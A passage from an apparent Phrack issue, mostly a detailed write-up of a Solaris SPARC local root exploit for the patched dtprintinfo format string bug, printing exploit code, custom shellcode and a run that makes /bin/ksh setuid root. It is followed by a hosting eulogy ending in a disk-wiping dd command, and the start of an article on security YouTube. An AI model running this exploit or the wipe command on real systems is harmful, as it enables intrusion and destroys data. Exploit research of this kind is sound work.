Looking closely at the code snippet above, at the line I marked with the "VULN" comment the value associated with the environment variable REQ_DIR (pcVar3) is directly passed as the second parameter to sprintf(). Thus, by manipulating this variable a local attacker is easily able to control the format string used by sprintf(). A user‑supplied format string in a setuid root program means this is game over, right? Right, but before we can do the r00t dance we need to overcome a series of roadblocks.

‑‑[ 3 ‑ The Exploit

"I'm gonna have to go into hardcore hacking mode!"

‑‑ Hackerman, https://youtu.be/KEkrWRHCDQU

The specific exploit I'm going to dissect today is the one I named raptor_dtprintcheckdir_sparc2.c. It's a reliable local root privilege escalation exploit that should work against all unpatched Solaris 10 systems based on the SPARC architecture. It's a pretty lean exploit now, but its development took me some time. I spent almost two weeks putting it together, and came close to giving up a couple of times.

‑‑‑‑[ 3.1 ‑ SPARC Stack Layout Woes

While I could easily exploit the stack‑based buffer overflow on Intel (see raptor_dtprintcheckdir_intel.c), exploitation on SPARC was definitely not straightforward.

The problem I encountered, as mentioned earlier, is related to the SPARC stack layout. When exploiting a classic stack‑based buffer overflow on SPARC we can't overwrite the saved return address of the current function, but we're only able to overwrite the saved return address of the caller of the current function. In practice, this means that the vulnerable program needs to survive an additional function before we can hijack %pc.

Depending on the target, exploitation of stack‑based buffer overflows on SPARC might be easy, hard, or virtually impossible. In this specific case, many vital variables would get overwritten on the way to the saved return address and the vulnerable program would not easily survive until the caller function returned. For this reason, I decided to focus on exploiting the format string bug instead.

‑‑‑‑[ 3.2 ‑ Fake Printer Setup

Our target binary is the CDE Print Viewer. Quoting from the dtprintinfo(1) manual page:

"The Print Viewer program provides a graphical interface that displays the status of print queues and print jobs. Additional information about print queues or print jobs can be retrieved within the interface, individual print queue labels and icons can be customized, and individual print jobs can be canceled."

Basically, dtprintinfo provides an X11 graphical interface that displays various information about remote and local print jobs. This is the call tree that leads to the vulnerable code path (I have provided both C++ mangled and demangled names for each symbol):

Queue::ProcessJobs() // __0fFQueueLProcessJobsPc()

|___ LocalPrintJobs() // __0FOLocalPrintJobsPcPPcPi

|___ check_dir() // __0FJcheck_dirPcTBPPP6QStatusLineStructPii

The vulnerable function check_dir() gets called by the LocalPrintJobs() function. This is a utility function used by Queue::ProcessJobs() to get the list of local print jobs. LocalPrintJobs() enters the directory specified by the TMP_DIR environment variable (more on this later) and calls the check_dir() function for each subdirectory that is present. This is the relevant pseudocode (again, edited and commented for clarity):

/* open TMP_DIR */

pcVar4 = getenv("TMP_DIR");

if (pcVar4 == (char *)0x0) {

chdir("/usr/spool/lp/tmp");

} else {

pcVar4 = getenv("TMP_DIR");

chdir(pcVar4);

}

__dirp = opendir(".");

...

/* check each subdirectory in TMP_DIR */

pdVar6 = readdir64(__dirp);

if (pdVar6 != (dirent64 *)0x0) {

uVar2 = pdVar6‑>d_type;

while (true) {

__file = &pdVar6‑>d_type;

if (((uVar2 != '.') && (iVar7 = stat64((char *)__file,

&sStack456), ‑1 < iVar7)) && ((sStack456.st_uid & 0x4000) != 0)) {

chdir((char *)__file); __0FJcheck_dirPcTBPPP6QStatusLineStructPii(param_1, __file, &DAT_00065db0, &local_4, DAT_00065db4); chdir("..");

}

In order to enter this code path, we must be able to double click on a configured printer in the dtprintinfo GUI. This means two things:

‑ We must have a valid X11 server that accepts connections from the remote vulnerable dtprintinfo program, so that we are able to interact with the GUI (for my tests I used XQuartz on macOS, configured to accept network connections from any host via the "xhost +" command).

‑ A configured printer must be present in the GUI so that we can double click on it.

With this introduction out of the way, it's time to look at the first part of my exploit:

int main(int argc, char **argv)

{

...

/* lpstat code to add a fake printer */

if (!strcmp(argv[0], "lpstat")) {

/* check command line */

if (argc != 2)

exit(1);

/* print the expected output and exit */

if(!strcmp(argv[1], "‑v")) {

fprintf(stderr, "lpstat called with ‑v\n"); printf("device for fnord: /dev/null\n");

} else {

fprintf(stderr, "lpstat called with ‑d\n"); printf("system default destination: fnord\n");

}

exit(0);

}

...

add_env("PATH=.:/usr/bin");

...

/* create a symlink for the fake lpstat */

unlink("lpstat");

symlink(argv[0], "lpstat");

As discussed, a configured printer is necessary in order to be able to reach the vulnerable code path. This code fakes the presence of a printer connected to the system by exploiting one of the venerable 18‑year‑old bugs I disclosed at INFILTRATE 2019 [6]: old versions of dtprintinfo execute the external helper program lpstat without specifying its full path. This allows local unprivileged users to trick dtprintinfo into believing that a printer is present by creating a fake lpstat program and manipulating the PATH environment variable, as shown in the code snippet above.

If your target system already has a configured printer, you don't need to use this trick.

‑‑‑‑[ 3.3 ‑ Environment Setup

Let's continue to examine the exploit source code. Here, we parse command line arguments (including the X11 display string) and setup the environment before running the vulnerable program:

/* process command line */

if (argc < 2) {

fprintf(stderr,

"usage:\n$ %s xserver:display [retloc]\n$ /bin/ksh\n\n", argv[0]);

exit(1);

}

sprintf(display, "DISPLAY=%s", argv[1]);

if (argc > 2)

retloc = (int)strtoul(argv[2], (char **)NULL, 0);

/* evil env var: name + shellcode + padding */

bzero(buf, sizeof(buf));

memcpy(buf, "REQ_DIR=", strlen("REQ_DIR="));

p += strlen("REQ_DIR=");

/* padding buffer to avoid stack overflow */

memset(buf2, 'B', sizeof(buf2));

buf2[sizeof(buf2) ‑ 1] = 0x0;

/* fill the envp, keeping padding */

add_env(buf2);

add_env(buf);

add_env(display);

add_env("TMP_DIR=/tmp/just"); /* we must control this empty dir */

add_env("PATH=.:/usr/bin");

add_env("HOME=/tmp");

add_env(NULL);

There are some important things to notice in this code snippet:

‑ As previously discussed, the REQ_DIR environment variable contains the hostile format string that triggers the bug. We will finish building this string in the next sections.

‑ The TMP_DIR environment variable must point to a path in which we can create a directory. This is another prerequisite to reach the vulnerable code path, as mentioned in the previous section.

‑ The buf2 buffer serves as padding so that sprintf() has enough memory space and doesn't crash trying to reach past the bottom of the stack while processing our hostile format string.

‑‑‑‑[ 3.4 ‑ Write4 Primitive

So far, so good. It's now time for the hard part. In order to convert our memory corruption into a nice weird machine and hijack the program flow, we must be able to leverage the format string bug to write arbitrary bytes at arbitrary locations in memory. The typical and usually most convenient technique to achieve this is the one that involves single‑byte writes via the %n formatting directive. A good example of this approach is available in my exploit for the Intel architecture (raptor_dtprintcheckdir_intel2.c), in which I implemented a strategy inspired by an old technique originally devised by gera. Let's take another look at the vulnerable pseudocode:

} else {

pcVar3 = getenv("REQ_DIR");

sprintf(local_724, pcVar3, param_2); // 1

}

local_c = strlen(local_724); // 2

sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2); // 3

The plan I put into action on Intel is to exploit the sprintf() at "1", where we control the format string, to replace the strlen() at "2" with a strdup() and the sprintf() at "3" with a call to the shellcode dynamically allocated in the heap by strdup() at "2" and pointed to by the local_c variable. This is achieved with a simple overwrite of two .got section entries. Cool, isn't it? But I digress... If you want to dig deeper into this technique, you're invited to take a look at the exploit. In the context of the present article the most important thing to understand is that the hostile format string is built using the %n formatting directive in such a way that target memory addresses are overwritten one byte at a time. Unfortunately, this is not possible on SPARC. Like any other RISC architecture, SPARC is not happy with memory operations on misaligned/odd addresses and if we tried this approach the program would just die spitting a dreaded Bus Error.

An alternative technique that is supposed to work on SPARC involves half‑word writes via the %hn formatting directive. The problem with this technique is that it causes a large amount of bytes to be written as a side‑effect, and thus in this specific case it makes the program run out of stack space: don't forget we're also dealing with a sprintf()‑related buffer overflow paired with our format string bug! It might be possible to prevent crashes by increasing the size of the padding buffer (remember buf2 in the exploit code snippet above?), but your mileage may vary.

So, what shall we do? After some days of bumping my head against this roadblock, consulting 20‑year‑old whitepapers, and endlessly experimenting on GDB, I finally figured out a possibly novel technique to perform single‑byte writes on SPARC, using the less known %hhn formatting directive.

Here's the relevant code that generates the hostile format string in all its glory:

/* format string: retloc */

for (i = retloc; i ‑ retloc < strlen(sc); i += 4) { check_zero(i, "ret location");

*((void **)p) = (void *)(i); p += 4; /* 0x000000ff */

memset(p, 'A', 4); p += 4; /* dummy */

*((void **)p) = (void *)(i); p += 4; /* 0x00ff0000 */

memset(p, 'A', 4); p += 4; /* dummy */

*((void **)p) = (void *)(i); p += 4; /* 0xff000000 */

memset(p, 'A', 4); p += 4; /* dummy */

*((void **)p) = (void *)(i + 2); p += 4; /* 0x0000ff00 */

memset(p, 'A', 4); p += 4; /* dummy */

}

/* format string: stackpop sequence */

base = p ‑ buf ‑ strlen("REQ_DIR=");

for (i = 0; i < stackpops; i++, p += strlen(STACKPOPSEQ), base += 8)

memcpy(p, STACKPOPSEQ, strlen(STACKPOPSEQ));

/* calculate numeric arguments */

for (i = 0; i < strlen(sc); i += 4)

CALCARGS(n[i], n[i + 1], n[i + 2], n[i + 3], sc[i],

sc[i + 1], sc[i + 2], sc[i + 3], base);

/* check for potentially dangerous numeric arguments below 10 */

for (i = 0; i < strlen(sc); i++)

n[i] += (n[i] < 10) ? (0x100) : (0);

/* format string: write string */

for (i = 0; i < strlen(sc); i += 4)

p += sprintf(p, "%%.%dx%%n%%.%dx%%hn%%.%dx%%hhn%%.%dx%%hhn",

n[i], n[i + 1], n[i + 2], n[i + 3]);

So, basically, we overwrite one byte at a time at the target address (retloc) as follows (remember that SPARC is a big endian architecture, therefore bytes are stored in memory in their natural order):

1. First, by using the %n formatting directive on retloc, we overwrite the LSB (position 0x000000ff).

2. Next in sequence, by using the %hn formatting directive on retloc, we overwrite the byte located at position 0x00ff0000.

3. Then, by using the %hhn formatting directive on retloc, we overwrite the MSB (position 0xff000000).

4. Finally, by using the %hhn formatting directive on retloc + 2, we overwrite the byte located at position 0x0000ff00.

From my perspective, this last overwrite shouldn't be allowed on SPARC, but it works and I'm definitely not complaining!

‑‑‑‑[ 3.5 ‑ Target Memory Location

After I figured out my write4 primitive, I needed to pick a suitable memory location to patch in order to redirect the program flow. I turned to the trusted Shellcoder's Handbook [8] in search of inspiration... and I almost ran out of options. Based on the book and on my experience, I identified the following main possibilities:

‑ .plt section entries in the vulnerable binary are a common target, but at least on my test system their addresses start with a null byte, therefore this quickly turned out to be a dead end.

‑ OS function pointers described in the Shellcoder's Handbook that used to be a popular target 15 years ago unfortunately are not present anymore in recent versions of Solaris 10.

‑ Being cumbersome and somewhat unreliable, function activation records are a traditionally terrible choice as an overwrite location, but they have a tendency to become more appealing as a last resort target when you have exhausted all other alternatives.

For a while, I went down the rabbit hole represented by the third option... The result of my tribulations is raptor_dtprintcheckdir_sparc.c. After I got the right offsets this exploit worked perfectly on my test system, with just one "minor" caveat: it worked only when GDB or truss were attached to the target process! To borrow Neel Mehta's words (again, quoted from the Shellcoder's Handbook):

"It's quite common to find an exploit that only works with GDB attached to the process, simply because without the debugger, break register windows aren't flushed to the stack and the overwrite has no effect."

You gotta love SPARC's quirks... Feel free to take a look at that specific exploit for a deeper discussion of other potential overwrite targets and hypothetical workarounds. Long story short, after much tweaking and debugging I noticed libc also contains .plt jumpcodes (with relocation type R_SPARC_JMP_SLOT) that, to everyone's wonder:

‑ Get executed upon function calling.

‑ Are writable (why is that?).

‑ Don't start with a null byte.

I don't know about you, but they surely look like a juicy target to me! Let's take a look at the vulnerable pseudocode once again:

} else {

pcVar3 = getenv("REQ_DIR");

sprintf(local_724, pcVar3, param_2); // 1

}

local_c = strlen(local_724); // 2

sprintf(local_5f8, "/var/spool/lp/tmp/%s/", param_2); // 3

The plan is to overwrite the jumpcode of the strlen() function that gets called at "2", right after the vulnerable sprintf(). From here on, exploitation is pretty straightf... Wait, with what should we overwrite the .plt entry?

‑‑‑‑[ 3.6 ‑ Custom Shellcode

Let's grab the libc base and the offset to strlen(), by using pmap against the PID of the running vulnerable program and objdump against libc.so.1 as follows:

bash‑3.2# pmap 3321 | grep libc.so.1

FE800000 1224K r‑x‑‑ /lib/libc.so.1

FE942000 40K rwx‑‑ /lib/libc.so.1

FE94C000 8K rwx‑ /lib/libc.so.1

bash‑3.2# objdump ‑R /usr/lib/libc.so.1 | grep strlen

0014369c R_SPARC_JMP_SLOT strlen

We are looking at where the code is mapped into memory. As we can see, on my test system the .text section of libc is loaded at base address 0xfe800000 and strlen() is at the relative address 0x0014369c. Adding these two values together gives the absolute address of the strlen() jumpcode in the running process 3321:

bash‑3.2# python ‑c 'print hex(0xFE800000+0x0014369c)' 0xfe94369cL

bash‑3.2# pmap 3321 | grep libc.so.1

FE800000 1224K r‑x‑‑ /lib/libc.so.1

FE942000 40K rwx‑‑ /lib/libc.so.1<‑ strlen() jumpcode is here FE94C000 8K rwx‑ /lib/libc.so.1

The strlen() jumpcode is located in a memory region (mapped at 0xfe942000) that is both executable and writable, as mentioned earlier. What's in there? Let's examine the memory contents at the strlen() jumpcode address 0xfe94369c with the help of GDB:

(gdb) x/10i 0xfe94369c

Oxfe94369c: nop

Oxfe9436a0: b,a 0xfe832000

Oxfe9436a4: nop

Oxfe9436a8: nop

Oxfe9436ac: b,a 0xfe832980

Oxfe9436b0: nop

Oxfe9436b4: nop

Oxfe9436b8: ba 0xfe832ac0

Oxfe9436bc: nop

Oxfe9436c0: sethi %hi (Oxb4000), %g1

Indeed, our designated target address contains actual executable code, with branches that are taken when a specific library function is invoked.

To ensure that my exploits are reliable, I always like to keep them as simple as possible. Therefore, instead of meddling with jumpcodes and branches, I decided to craft the shellcode directly in the .plt section of libc by exploiting the format string bug, as shown in the last exploit code snippet above. This technique proved to be very effective, but empirical tests showed that (for unknown reasons) the shellcode size was limited to 36 bytes. It looks like there's a limit to the number of arguments passed to sprintf(), unrelated to where we write in memory... Who cares, 36 bytes are more than enough, right?

Here's my custom Solaris/SPARC shellcode [9]:

char sc[] = /* Solaris/SPARC chmod() shellcode (max size is 36 bytes) */

/* chmod("./me", 037777777777) */

"\x92\x20\x20\x01"/* sub %g0, 1, %o1*/// 1

"\x20\xbf\xff\xff"/* bn,a <sc>*/// 2

"\x20\xbf\xff\xff"/* bn,a <sc + 4>*/// 3

"\x7f\xff\xff\xff"/* call <sc + 8>*/// 4

"\x90\x03\xe0\x14"/* add %o7, 0x14, %o0*/// 5

"\xc0\x22\x20\x04"/* clr [ %o0 + 4 ]*/// 6

"\x82\x10\x20\x0f"/* mov 0xf, %g1*/// 7

"\x91\xd0\x20\x08"/* ta 8*/// 8

"./me";// 9

How cute is this? Briefly, it works as follows. At line "1" we set the second argument passed to chmod() via the %o1 register to the value ‑1, by subtracting 1 from the %g0 register that always contains a value of zero.

The purpose of lines "2" to "4" is to find out where we are in memory, as needed by almost any shellcode to reference any strings it includes. This is commonly known as the GetPC code. On the Intel architecture, GetPC is easily implemented by a jump and the familiar call/pop instruction pair. The instructions necessary to accomplish this on SPARC are slightly more complicated (of course!), due to the so called "branch delay slot". Basically, when a branch or call instruction is reached, the instruction immediately following the branch/call gets executed before the program flow is redirected to the specified destination address. If a branch is "annulled" (e.g., with an instruction such as "b,a <address>"), the instruction in the delay slot is executed only if the branch is taken; otherwise, it's always executed.

Coming back to our 3 instructions that implement the infamous SPARC GetPC code that deals with the branch delay slot, the order of execution is:

1. Line "2": bn,a <sc> // don't jump, skip next instruction

2. Line "5": add %o7, 0x14, %o0 // delay slot of call instruction at "4"

3. Line "4": call <sc + 8> // jump to line "3", save return address in %o7

4. Line "3": bn,a <sc + 4> // don't jump, skip next instruction

5. Rest of the shellcode, starting with line "5"

After the GetPC code gets executed, we have the address of the call instruction at line "4" stored in the %o7 register. At line "5" we use this value to calculate the address of the "./me" string located at the end of the shellcode (line "9") and store it into %o0, which will be the first argument passed to chmod(). At line "6" we null‑terminate this string by dynamically patching memory. Finally, at lines "7" and "8" we invoke the syscall 0xf, which is chmod().

Now, to get a working exploit we just need to put everything together:

/* setup the directory structure and the symlink to /bin/ksh */

unlink("/tmp/just/chmod/me");

rmdir("/tmp/just/chmod");

rmdir("/tmp/just");

mkdir("/tmp/just", S_IRWXU | S_IRWXG | S_IRWXO); mkdir("/tmp/just/chmod", S_IRWXU | S_IRWXG | S_IRWXO); symlink("/bin/ksh", "/tmp/just/chmod/me");

...

/* run the vulnerable program */

execve(VULN, arg, env);

perror("execve");

exit(1);

}

Basically, here we setup the directory structure as needed to reach the vulnerable code path and we create a symlink from /tmp/just/chmod/me to /bin/ksh (/tmp/just/chmod will be the current working directory when the bug gets hit). Then, we launch dtprintinfo with the crafted environment to trigger the bug, execute the shellcode, and make /bin/ksh setuid root.

After the exploit is populated with the correct base address of libc and with the offset to strlen(), it should work reliably against any unpatched Solaris 10 system running on the SPARC architecture. That's right, it's a one‑shot exploit: there's no ASLR or any other modern shenanigans to be reckoned with. Just the usual, almost reassuring, non‑executable stack.

Here's an example run of the exploit on my test system:

‑bash‑3.2$ uname ‑a

SunOS nostalgia 5.10 Generic_Virtual sun4u sparc SUNW,SPARC‑Enterprise ‑bash‑3.2$ id

uid=100(user) gid=1(other)

‑bash‑3.2$ ls ‑l /bin/ksh

‑r‑xr‑xr‑x 3 root bin 209288 Feb 21 2012 /bin/ksh ‑bash‑3.2$ gcc raptor_dtprintcheckdir_sparc2.c ‑o \ raptor_dtprintcheckdir_sparc2 ‑Wall

[on your local X11 server: disable the access control via "xhost +"]

‑bash‑3.2$ ./raptor_dtprintcheckdir_sparc2 10.0.0.104:0 raptor_dtprintcheckdir_sparc2.c ‑ Solaris/SPARC FMT LPE Copyright (c) 2020 Marco Ivaldi <raptor@0xdeadbeef.info>

Using SI_PLATFORM : SUNW,SPARC‑Enterprise (5.10)

Using libc/.plt/strlen : 0xfe94369c

Don't worry if you get a SIGILL, just run /bin/ksh anyway!

lpstat called with ‑v

lpstat called with ‑v

lpstat called with ‑d

[on your local X11 server: double click on the fake "fnord" printer]

Illegal Instruction

‑bash‑3.2$ ls ‑l /bin/ksh

‑rwsrwsrwx 3 root bin 209288 Feb 21 2012 /bin/ksh ‑bash‑3.2$ ksh

# id

uid=100(user) gid=1(other) euid=0(root) egid=2(bin)

‑‑[ 4 ‑ Outro

"Yeah, I had tickets to the earliest showing (Wednesday 10PM) and was stunned when Trinity whipped out Nmap! I almost got up and did the r00t dance right there in the theatre :)."

‑‑ Fyodor (0dd)

Hard to believe, but it's been 21 years almost to the day since that fateful summer, when the first exploits targeting format string bugs were posted on Bugtraq. Shortly after, Lamagra and Tim Newsham published their whitepapers on format string attacks, and one year later scut released his definitive guide on the subject. Frankly, it's also hard to believe that format string bugs haven't been completely eradicated, as they're relatively easy to spot with static analysis techniques. But we all know how these things go, don't we?

The specific bugs I discussed in this article were fixed during the general cleanup of CDE code done by Oracle in the aftermath of my recent vulnerability disclosures. However, I have the feeling that many bugs are still lurking in CDE, ready to be found by inspired hackers. After all, why do a CTF, when you can do CDE?

‑‑[ 5 ‑ Shouts

"I think different personalities find different bugs."

‑‑ Bas Alberts

I would like to thank all fellow old school hackers from ADM, TESO, THC, LSD, 0dd, etc. for their incredible research work spanning decades. You're an endless source of inspiration for me.

I would also like to thank my partner in VOODOO macro crime against readable code, inode. Without you, I would've never started hacking Solaris, so there's that.

And, of course, Marti Guasch Jimenez deserves a special mention for finding the actual bug I've exploited. Keep on hacking!

‑‑[ 6 ‑ References

[0] https://en.wikipedia.org/wiki/Common_Desktop_Environment

[1] https://www.oracle.com/us/assets/lifetime‑support‑hardware‑301321.pdf

[2] https://en.wikipedia.org/wiki/Solaris_(operating_system)

[3] https://en.wikipedia.org/wiki/SPARC

[4] https://julianor.tripod.com/bc/formatstring‑1.2.pdf

[5] https://0xdeadbeef.info/exploits/raptor_libdthelp.c

[6] https://github.com/0xdea/raptor_infiltrate19

[7] https://github.com/0xdea/raptor_infiltrate20/tree/main/exploits

[8] https://www.goodreads.com/book/show/1174511.The_Shellcoder_s_Handbook

[9] https://cybersecpolitics.blogspot.com/2019/03/

Segfault.net eulogy

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0e of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Segfault.net eulogy ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ skyper ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2019/DEC/04

RIP SEGFAULT.NET, THANK YOU AND GOOD BYE

22 years of hosting hackers has come to an end.

Segfault.net started hosting hackers in 1997. The main goal has always been to provide infrastructure for hackers and to support them.

Hacking was still in its infancy. Servers were hard to get by. Documents had to be forged, rack space had to be rented and the server had to be custom built.

Thank you to all the people who participated and all the project we hosted. It was home to team‑teso, thc, hert, hackinthebox, phrack.org, ircsnet and many others.

It was the gateway to the internal Teso Lab that hosted more than 10 further computer systems of different architecture and OS versions. Countless exploits were developed and tested here. Gamma provided blueboxed Internet connections via Brazil, Columbia and other C5 countries to unleash those exploits.

IRCSNET became home to so many awesome discussions. I believe it was the first SSL‑only IRC network spanning over 4 servers at its peak and hosting hundreds of conversations.

We provided encrypted and secure shells to so many talented people that it is eye watering.

There were some hard times as well. Nokia suing us, the BKA (German FBI) knocking on the door, our IP address being routed via Fort Meade or the hosting company saying they will host us for free 'because they were big fans of us' (yeah, right ‑ we moved segfault.net to 1and1 immediately... damn fedz).

Hosting at 1and1 was probably best. The guy responsible for hacking incidents and government relationship....he was on our payroll.

Segfault.net prevailed and nobody ever got arrested or caught.

Times have changed now. Shells and servers are easily available. DigitalOcean, AWS or google clouds are cheap and hassle free. Those are much harder to trust or to make secure (uploading a virtual machine is probably the best). Governments are more aware now. Yet, they are as ruthless and ignorant as they have always been. Beware of governments as they do not know what they are doing.

Segfault.net was the birth place to so many great ideas, tools, products and companies. Thank you all.

Good bye and Good luck and Keep Hacking,

dd bs=4k if=/dev/zero of=/dev/sda

YouTube Security Scene

==Phrack Inc.==

Volume 0x10, Issue 0x46, Phile #0x0f of 0x0f

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ YouTube Security Scene ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ LiveOverflow ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑[ Table of Contents

0. About the Author

1. Preamble

2. Before 2014

3. My Start in 2015

4. Today's Scene

5. Final Words

6. References

‑‑[ 0. About the Author

To briefly introduce myself, I'm LiveOverflow and I make videos about various IT security topics. Here are a few:

+ How SUDO on Linux was HACKED! // CVE‑2021‑3156

https://youtu.be/TLa2VqcGGEQ?list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx

+ XSS on Google Search ‑ Sanitizing HTML in The Client? https://www.youtube.com/watch?v=lG7U3fuNw3A

+ Identify Bootloader main() and find Button Press Handler https://youtu.be/yJbnsMKkRUs?list=PLhixgUqwRTjyLgF4x‑ZLVFL‑CRTCrUo03

‑‑[ 1. Preamble

From BBS and text files, over IRC and books, to the modern internet with forums and blogs, hackers exchanged information primarily in text form. This of course meant, most older hackers prefer text, which makes it difficult to establish new kinds of media.

When I started producing videos in 2015 I often got the feedback that text is superior, nobody will watch videos and I should instead write articles. So when I was asked to write about the "YouTube Hacking Scene" for Phrack I felt like video production finally reached some level of acceptance.

While this article is titled "YouTube Hacking Scene" I also want to include streamers on Twitch and other platforms ‑ who knows how long the product YouTube will survive, and I'm sure Phrack will exist long after.

Given that my personal experience is biased and the history is difficult to research, this article is certainly not objective. So we will go with the French saying "preach the falsehood to know the truth". So if you know it better, please reach out.

‑‑[ 2. Before 2014

Digging up information about hacking videos from the early 2000s is difficult, but it's clear that it was not very popular. Personally I remember "Lenas Reversing for Newbies"[0] video series from 2006 very well, but it wasn't distributed via YouTube. It is an incredibly detailed and hands‑on walkthrough of Windows reverse engineering and cracking with OllyDbg. I have seen it getting recommended a lot over years, indicating that there is a craving for the visual teaching approach.

One of the earliest hacking show attempts seems to be "the broken" by Kevin Rose from 2003[1]. Then in 2005 Darren Kitchen started the Hak5 show[2] and it deserves a mention, as it is probably the longest running hacking video production. YouTube already existed when it started, but it wasn't popular just yet, so the distribution heavily relied on torrents. Notable might also be IronGeek, who started uploading conference videos on YouTube in 2007. His trip to Notacon 2007 might be the first ever "Hacking Vlog"[3]. But all of these video projects were mostly just scratching the surface of hacking. Very few videos were actually digging into the technical details.

In 2007 the project SecurityTube started out of India by vivekramac. Probably inspired by YouTube it was meant as a place for everybody to upload and share hacking video content, but vivekramac himself was responsible for creating tons of videos. For many years it seems to have been the best source for free video courses. But in 2011 the site slowly transitioned into the new paid courses platform Pentester Academy. Fun fact, when I started making videos in 2015 I obviously came across SecurityTube and I tried to submit my videos there, but they were never accepted. The platform already felt abandoned, and the content was kinda outdated and not the depth I was looking for anyway. Nonetheless a very important part of video creator history.

Over the years I have been collecting YouTube channels with more or less technical security content. And to create the chart below (Fig. 1), I looked at the year of their first relevant upload. Also most of those channels only have a handful of videos and were abandoned shortly after. But in hindsight I even noticed there were a few very early attempts at making more technical video walkthroughs such as lordparody (2009)[4]. Looking at the data there appears to have been a small surge after 2010, but I think that 2015 was where the current hacker creator scene really started growing.

2005: *

2006:

2007: **

2008: *

2009: *****

2010: ****

2011: *******

2012: ************

2013: *********

2014: ******

2015: ***************

2016: **************************

2017: ****************************

2018: *********************

2019: ************

2020: *********************

Fig 1. Bar chart showing the numbers of new hacking YouTube creators by year

‑‑[ 3. My Start in 2015

Around 2014 I started to hit a wall in my own learning progress. There were tons of (written) tutorials about web security, WiFi hacking, Metasploit and buffer overflows, but the material mostly covered basics. To actually learn more advanced topics I had to play wargames[6] and CTFs. I remember fondly struggling for months playing w3challs or io.smashthestack to improve very very slowly ‑ I was a classic annoying noob, even getting banned by bla from IRC ;)

I believe it shouldn't have been this difficult to progress. In the traditional academic science community you rely on papers, to build upon prior research. And while we have equivalent resources, see for example Phrack, we are missing the educational institutions like universities to pass on this knowledge more effectively. So in the past, new people had to walk a very stony path to catch up with the state‑of‑the‑art. After I finally "understood" ret2libc and ROP, I felt like that this stuff is actually easy, but the existing material is just bad at explaining it.

Then in late 2014, early 2015, two events happened that would have a big impact on me. The first event was the growing community of programmers on reddit called /r/WatchPeopleCode[7] ‑ a subreddit about live streaming programming. While it is not about security, everybody knows that programming skills are crucial if you do any form of more in‑depth hacking. The second event was geohot livestreaming himself solving pwnable challenges from overthewire.org[8].

What both of these events have in common is that it's the first time for me looking over the shoulder of a professional. I realized that all the talks, blog posts and articles only cover the results, and rarely the actual process. And because I was not lucky enough to have people around me to learn from in person, watching over the shoulder of an experienced developer, or geohot, was eye opening.

To see how geohot was using the terminal, writing exploit scripts and navigating IDA Pro was incredibly insightful. But more importantly, it also exposed the fails and mistakes followed by the process of troubleshooting and fixing the bugs. And this pushed me through the wall I was hitting in my own education.

I was craving more. Where can I find more streams or videos where people are hacking? Unfortunately, when searching on YouTube, the only videos I could find were either Metasploit tutorials or how to use aircrack‑ng to hack a WiFi. And these topics were very boring to me as I was more interested in the process of finding these kinds of flaws, rather than just using what others found.

Of course I was very far away from geohot's skills, I did understand ROP and I thought I could create the "over the shoulder" experience for the people coming after me. Which led me to start livestreaming pwnable challenges[9] from exploit‑exercises.com (today exploit.education), and cover other CTFs. However I quickly noticed that I was terrible at streaming and soon transitioned into making scripted videos with a focus on visual explanations[10]. Another realization I had was, in fact, I did not understand ROP and other topics properly. So having the aspiration to create better tutorials, it forced me to dig deeper, which meant this project benefited my own education too.

Of course this is me talking from my own perspective and I don't want to make it sound like I was the only one. I simply wanted to provide insight on what motivations can lead people to create videos. So at this point I would like to mention a few other folks who were making videos about more "advanced" topics around that time. Gynvael from the Dragon Sector CTF team[11], MurmusCTF[12], ipp[13], psifertex[14], Zeta Two[15] and probably many more I unfortunately never came across.

Making good videos is very time consuming, especially once it's more than "just" a screen recording or livestream. So very few creators are able to do it over a longer period of time and I believe John Hammond[16] and I have the longest and consistently running release schedule.

‑‑[ 4. Today's Scene

As has been the case with any area of hacking, commercialization also creeps into this scene. I'm not immune to this either, as the time investment is massive and has to be justified somehow. This unfortunately leads to videos that are sometimes more motivated by exposure or products, rather than the pure sharing of knowledge; and it's difficult to find a balance between those opposing forces. It also led to the prior generation of free video content (SecurityTube, Cybrary, ...) to put their content behind paywalls.

But there is one amazing positive commercial development that I want to highlight. In the past years companies like Google have sponsored very technical videos[17] to share insights into vulnerabilities of their own products. Who would have thought this could ever happen, when this community used to be scared to get sued for anything.

There are also new problems that come with Google/YouTube and the other large social media platforms. YouTube for example has a policy against certain kinds of hacking videos[18], which lead to the take down of several videos and even entire channels. However it should also be noted 99% of the time it was a clear mistake and the decisions got reversed.

"Hacking: Demonstrating how to use computers or information technology with the intent to steal credentials, compromise personal data or cause serious harm to others such as (but not limited to) hacking into social media accounts." ‑ YouTube's harmful or dangerous content policies

